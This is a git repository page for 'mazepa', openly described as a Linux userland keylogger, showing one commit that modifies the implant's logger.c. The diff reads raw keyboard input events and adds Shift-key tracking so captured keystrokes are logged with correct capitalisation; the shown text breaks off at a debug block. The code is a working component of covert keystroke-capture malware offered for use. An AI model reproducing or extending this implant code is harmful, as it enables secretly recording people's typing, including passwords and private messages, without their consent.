mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit ba4ecfb18bed5274211ff321a2bc1f33f3a60e34
parent 1c5ad0bd4f2c4952c6a61eb72571c25b5bd4281a
Author: winds0r <[email protected]>
Date: Fri, 9 Jun 2023 00:57:19 +0900

fix(logger): handling SHIFT if it has been pressed AFAIK libxkbcommon should be handling this but it does not work on my machine so here is a quick simple implementation

Diffstat:
Mimplant/sources/logger.c | 21+++++++++++++++++----

1 file changed, 17 insertions(+), 4 deletions(-)

diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -7,6 +7,7 @@
 #include "implant.h"
 #include <alloca.h>
 #include <bits/types/struct_timeval.h>
+#include <linux/input-event-codes.h>
 #include <stddef.h>
 #include <string.h>
 #include <errno.h>
@@ -15,6 +16,7 @@
 #include <linux/input.h>
 #include <sys/types.h>
 #include <unistd.h>
+#include <stdbool.h>
 #include <xkbcommon/xkbcommon.h>
 
 
@@ -30,6 +32,7 @@ static int get_highest_fd(implant_t *instance) {
 
 static int log_keyboard(int fd, struct xkb_state *state) {
     struct input_event evt = {0};
+    static bool shift_pressed = false;
 
     ssize_t bytes_read = read(fd, &evt, sizeof(evt));
     if (bytes_read != sizeof(evt)) {
@@ -41,16 +44,26 @@ static int log_keyboard(int fd, struct xkb_state *state) {
         return ERROR;
     }
 
+    if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
+        if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
+            shift_pressed = false;
+            return SUCCESSFUL;
+        }
+    }
+
     if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
 
-        /*
-            TODO:
-            handle case where user presses on shift to add press a key
-        */
+        if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
+            shift_pressed = true;
+            return SUCCESSFUL;
+        }
 
         char key_description[256] = {0};
         xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
 
+        if (shift_pressed)
+            keysym = xkb_keysym_to_upper(keysym);
+
         xkb_keysym_get_name(keysym, key_description, 256);
 
 #ifdef DEBUG